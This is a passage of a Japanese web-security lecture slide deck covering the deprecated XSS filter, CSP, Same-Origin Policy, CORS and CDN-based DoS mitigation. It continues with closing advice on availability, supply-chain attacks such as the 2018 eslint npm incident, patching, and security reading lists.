JavaScript の場合は「HTMLコンテキスト」と「テキストコンテキスト」の違いを理解するl

例えば <string, int> のような文字列（ソースコードなど）をただのテキストとしてHTMLページに表示するにはどうすべきか？

67

(3.5) – 〈5〉のブラウザ上での表示を安全に行う(3) サイト閲覧(4) レスポンス生成(1) データ書き込み

データ取得(2) DB保存(5) ブラウザ上で表示(1) データ書き込み(9) DoS攻撃！

l(5) 取得したHTMLソースコードやJavaScriptを安全に実行するための仕組みがあるl

XSS フィルタリング機能 （非推奨）lContent Security Policy （CSP; コンテンツセキュリティポリシー）lSame-Origin Policy （SOP; 同一生成元ポリシー）lCross-Origin Resource Sharing （CORS; オリジン間リソース共有）

68

(3.5.1) XSSフィルタ

l 反射型XSSを検知して、そのページの読み込みを停止する機能
l Internet Explorer 8 で導入され、ChromeやSafariにもXSSAuditorとして導入されたl

X-XSS-Protectionヘッダを1にすることで導入することができる

l しかし、XSSフィルタが複雑であったため、その仕組みの不備を突いた
XSSフィルタリング脆弱性なども存在していたl

現在では、この機能はセキュリティ上の問題があるため非推奨とされている

69

( 3 . 5 . 2 ) C o n t e n t S e c u r i t y Po l i c y ( CS P )l XSSフィルタリングに代わる機能して CSP がある
l XSSなどのインジェクション攻撃など特定の種類の攻撃を検知し、その攻撃の影響を軽減するために追加できるセキュリティレイヤーの機能l

HTTPレスポンスヘッダやHTML要素タグでポリシーを設定することができる

l

そのポリシーに基づいてスクリプトの実行や外部リソースの読み込みを制限する

l Ruby on Rails や Django でも簡単に設定することができる

70

(3.5.3) Same-Origin Polic y（同一生成元ポリシー）
l 同一生成元ポリシーでは異なる Origin から読み込まれたリソースへのアクセスをブロックするl

外部のページからインラインフレームで GoatBBS を表示しても、その外部のページ
から JavaScript の DOM API を用いて GoatBBS のデータにはアクセスできない！

l Origin とはlScheme, HostName, Port の組み合わせのことl

例えば http://example.com:80 を指す

l XSSや秘密情報への不正アクセスを防ぐための重要機能 （昔からある）
l

JSON APIを用意してユーザ情報を返す場合など外部からのリクエストを排除できるl

これを突破する攻撃手法 DNS Rebinding Attack などがある
71

(3.5.4) Cross-Origin Resource Sharing (CORS)
l 正規のWebサイト開発者が、別のオリジンのコンテンツをJavaScriptから利用したい場合に同一生成元ポリシーを回避するために使う仕組みl

安全性と利便性のバランスを取るための仕組みl

CSPと同様にポリシーを設定することで、特定の SOP 制約を緩めることができる

l CORS用のHTTPヘッダーを設定する
l

Access-Control-Allow-Origin ヘッダ

l CORS Preflight Request （プリフライトリクエスト）という概念があるl

ある条件のHTTPリクエストをCORSを利用して行う際に安全性を確認する仕組み

l

この仕組みでは OPTIONS メソッドが使われるため、Webサーバ側が OPTIONS メ
ソッドに対応していないと通信が失敗してしまう72

(3.6) – 〈9〉のDoS攻撃を緩和する(3) サイト閲覧(4) レスポンス生成(1) データ書き込み

データ取得(2) DB保存(5) ブラウザ上で表示(1) データ書き込み(9) DoS攻撃！

l(9) の DoS/DDoS 攻撃を緩和するための保険的対策
lContent Delivery Network （CDN; コンテンツデリバリネットワーク）l

もともとはセキュリティ対策のために作られた仕組みではない。Webコンテンツを各拠点に効率的に配布するために考案された。

lオリジナルデータを持つオリジナルサーバから複数のエッジサーバへコピーを配信し、ユーザはエッジサーバにアクセスすることでコンテンツデータを受信する。

l

これによりアクセスの一極集中を避けることができ、単一のサーバに負荷をかけられてサービス不能となる可能性を減らすことができる。そのため、大量のサービス要求を行うことによりサービスを妨害する手法を用いたDoS攻撃の対策としても有効である。

l

最近ではWAF機能を搭載したCDNも存在する。

73

4章
セキュリティとの付き合い方

(4) セキュリティとの付き合い方

l Webアプリケーションを開発したりサービスを提供する際には、ユーザが何らかの不利益（被害）を受けないように十分考慮する必要がありますlWebアプリケーションにはどのような脅威が存在しているのか、など

l そのためにもセキュリティの知識が求められますが、望ましいセキュリティ対策や考え方は時代や状況によっても様々な考え方がありますl

知識としてだけではなく、応用力や判断力も技術者として求められることがありますl

教科書では判断できないことは、事例や経験から考察することが必要かもしれません75

(4.1) 対策についてのまとめl ここまで見てきたWebアプリケーションに対する攻撃だけでも、対策として考案されたものは様々存在します
l しかし、それぞれの対策を迂回する方策（Bypass）も存在し、根本的な対策を行うにはWebアプリケーション自体に脆弱性をつくらないことが重要になってきますl

根本的対策と保険的対策、どのようなリスクは許容できるのか、そうした判断を行うことも重要ですl

セキュリティ対策は「安全にすること」ではなく「許容できるリスクを判断すること」と言われたりもします76

(4.2) 可用性はなぜ大事なのかl 可用性はセキュリティ要素が薄いとはよく耳にしますl

本当にそうでしょうか？

l 「シャープのマスク」購入殺到でサーバーダウン、IoT家電まで機能不全にlhttps://www.huffingtonpost.jp/entry/sharp-mask_jp_5e9e5604c5b6a486d07e402dlコロナ禍でマスクのオンライン販売を開始したシャープのサイトがアクセス殺到してダウンした

l

同じサーバで動いていたIoT家電用のサービスまで利用不能になった出来事ですl サービスの停止によって可用性が損なわれ、必要なときにサービスが利用できないと困ることは他にあるでしょうか？
l

大地震などで水道やガス、電話やインターネットが使えなくなった状況は想像できますか？

lコロナ禍でお店が営業できない、お客さんが来ないことも一種の可用性の問題と言えそうです77(4.3) そのサードパーティコードは本当に安全ですか？

l ここからはセキュリティ対策にまつわる小話をしますl 2018年7月12日、eslint という JavaScript のコードチェッカーの npm
パッケージに事件が起こりました
l NPMのESLintのパッケージにマルウェアが混入された問題
lhttps://ezoeryou.github.io/blog/article/2018-07-13-npm-malware.html

l ソフトウェアの製造過程でマルウェアに感染させたり、バックドアを仕込んだりする手法のことを、ソフトウェアサプライチェーン攻撃といいます78

(4.4) 脆弱性を見つけるための様々な方法
l GitHubには、利用しているフレームワークやパッケージに脆弱性があるとお知らせしてくれる機能がある （セキュリティアラート）lhttps://docs.github.com/ja/github/managing-security-vulnerabilities/viewing-and-updatingvulnerable-dependencies-in-your-repositoryl 万一、危険なサードパーティライブラリなどを使ってしまっていたとしても、こうした仕組みがあると脆弱性の存在に気付くことができそうですl

ブラウザのアドオンなども気をつけてくださいl

安全だった（信用のあった）ものが、いつの間にか危ないものに変わることもあります

l 開発者が知識を付けたり最新の情報を追うことも重要ですが、それとは別にセキュリティの担保のためにツールやシステムを活用することも考えてみるとよいかもしれません79(4.5) 自身が関係する環境のセキュリティを担保する
l 利用している開発環境（OS、ミドルウェア、ソフトウェア、ネットワーク）にもセキュリティ対策をしましょうl

毎月第二火曜日（米国時間）はWindows Updateの日（Patch Tuesday）

l ブラウザなどは特に、セキュリティアップデートが出た際には速やかにアップデートを適用するようにしましょうl

アップデートを適用したくない事情がある場合は、そのリスクについてきちんと評価をするべきですl 利用しているソフトウェアなどに脆弱性でないか確認しておくl

JPCERT/CCでは最新の注意喚起情報や脆弱性情報（JVN）を公開しているlhttps://www.jpcert.or.jp/80

(4.6) リファレンス・コミュニティ

l MDNで基本的なWebセキュリティについて勉強する。
lhttps://developer.mozilla.org/ja/docs/Web/Securityl OWASP (Open Web Application Security Project) Top 10を見たり、
OWASP Zapを使ってみるlhttps://owasp.org/www-chapter-japan/81

(4.7) 事例を集める（セキュリティ情報の発信を追う）
l piyologlhttps://piyolog.hatenadiary.jp/

l IIJ wizSafe Security Signallhttps://wizsafe.iij.ad.jp/

l Izumino.jp セキュリティ・トレンドlhttp://izumino.jp/Security/sec_trend.cgi

l Twitter （著者の独断で一部の方を紹介）lhttps://twitter.com/ockeghem/l

https://twitter.com/hiromitsutakagi/82

(4.7.1) Webセキュリティ本のバイブル：徳丸本

l EGセキュアソリューションズ 代表取締役 - 徳丸 浩
lhttps://twitter.com/ockeghem/l

https://www.eg-secure.co.jp/company/profile/l 『体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践』 （通称：徳丸本）l

2章、3章で扱ったようなWebアプリケーションのセキュリティを詳細に解説しているl

これとは別に、セキュリティにまつわる事件や事例を扱った『徳丸浩のWebセキュリ
ティ教室』という本も非常に参考になる83

(4-8) さいごにl この資料では、4章を通じてセキュリティとは何か、Webサービスのリスク、対策などについて振り返りました
l しかし、人間はミスをする生き物でありシステムに存在する脆弱性をゼロにすることは現実的には不可能でしょうl

そこに期待してはいけません。ミスをしても致命的な問題が起こらないように工夫するのです。

l そのために、セキュリティ担当者やCSIRT（Computer Security Incident
Responce Team)といったものが存在します
l Webアプリケーションについて守りを固めるだけでなく、適切なサイバー
レジリエンスを持った開発者・チームであることも目指したいですね84Thank you
今後の業務においてセキュリティのトピックに出会った際には自分なりに納得するまでその仕組みを調べてみてください。
点と点の知識が、あなたの知識を大きな領域に変えてくれます。

このスライドのデザインテンプレートについて
Sirius PowerPoint Template v1.0l このスライドは thepopp.com で提供されているデザインテンプレートを用いています。
l https://thepopp.com/templates/sirius/l Icon generated by flaticon.com under CC BY. The authors are: Stephen Hutchings.
l このデザインテンプレートは作者である秋咲准氏が著作権を保有しています。
l 再配布したり販売したりすることはできません。
l 利用については、商用・非商用にかかわらず誰でも自由にダウンロードして使うことができます。
l このスライドでは Spica Neue Font Family および Roboto Mono のフォントを利用しています。
l https://thepopp.com/fonts/
l https://fonts.google.com/specimen/Roboto+Mono